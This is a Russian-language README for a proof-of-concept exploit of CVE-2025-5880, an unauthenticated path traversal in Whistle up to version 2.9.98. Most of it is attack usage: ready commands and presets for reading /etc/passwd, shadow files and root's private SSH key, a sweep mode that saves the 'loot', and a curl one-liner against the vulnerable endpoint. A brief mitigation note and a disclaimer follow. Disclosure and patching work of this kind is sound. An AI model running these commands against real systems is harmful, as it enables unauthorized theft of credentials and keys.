
Эксплойт proof-of-concept для неаутентифицированной уязвимости обхода пути (path traversal) в Whistle v2.9.98.
| Поле | Детали |
|---|
| CVE ID | CVE-2025-5880 |
| CWE | CWE-22 (Path Traversal) |
| Затронутое ПО | Whistle ≤ 2.9.98 |
| Затронутая конечная точка | /cgi-bin/sessions/get-temp-file |
| Вектор атаки | Сеть — аутентификация не требуется |
| Воздействие | Чтение произвольных файлов в файловой системе хоста |
Параметр запроса filename не санитизируется перед использованием для открытия файла на диске, что позволяет атакующему выйти за пределы предполагаемой директории временных файлов и читать любые файлы, к которым процесс Whistle имеет доступ (например, /etc/passwd, /root/.ssh/id_rsa).
# Клонирование
git clone https://github.com/YourHandle/CVE-2025-5880
cd CVE-2025-5880
# Без внешних зависимостей
python3 CVE-2025-5880.py -u http://TARGET:8899 --preset passwd
python3 CVE-2025-5880.py [-h] -u URL [-f FILE] [--preset PRESET]
[--sweep] [-o OUTPUT] [--save-dir DIR]
[--timeout N]
| Флаг | Описание |
|---|---|
-u / --url | Базовый URL цели (например, http://192.168.1.10:8899) |
-f / --file | Путь к произвольному файлу для чтения |
--preset | Именованный ярлык: passwd shadow hosts id_rsa … |
--sweep | Автоматически перебрать все пресеты |
-o / --output | Сохранить результат в файл |
--save-dir | Директория для сохранения добычи из --sweep |
--timeout | Таймаут HTTP в секундах (по умолчанию 10) |
# Чтение /etc/passwd
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset passwd
# Получение приватного SSH-ключа root
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset id_rsa -o id_rsa.pem
# Чтение произвольного пути
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 -f /proc/self/environ
# Перебор и сохранение всех пресетов
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --sweep --save-dir ./loot

# /etc/passwd
curl -s "http://TARGET:8899/cgi-bin/sessions/get-temp-file?filename=/etc/passwd" | jq -r '.value'
Обновите Whistle до версии, которая проверяет и ограничивает параметр filename предполагаемой директорией временных файлов. Примените нормализацию пути по белому списку (например, path.resolve + проверка префикса) на стороне сервера.
Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей.
Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, незаконно и неэтично.
Автор не несёт ответственности за неправомерное использование.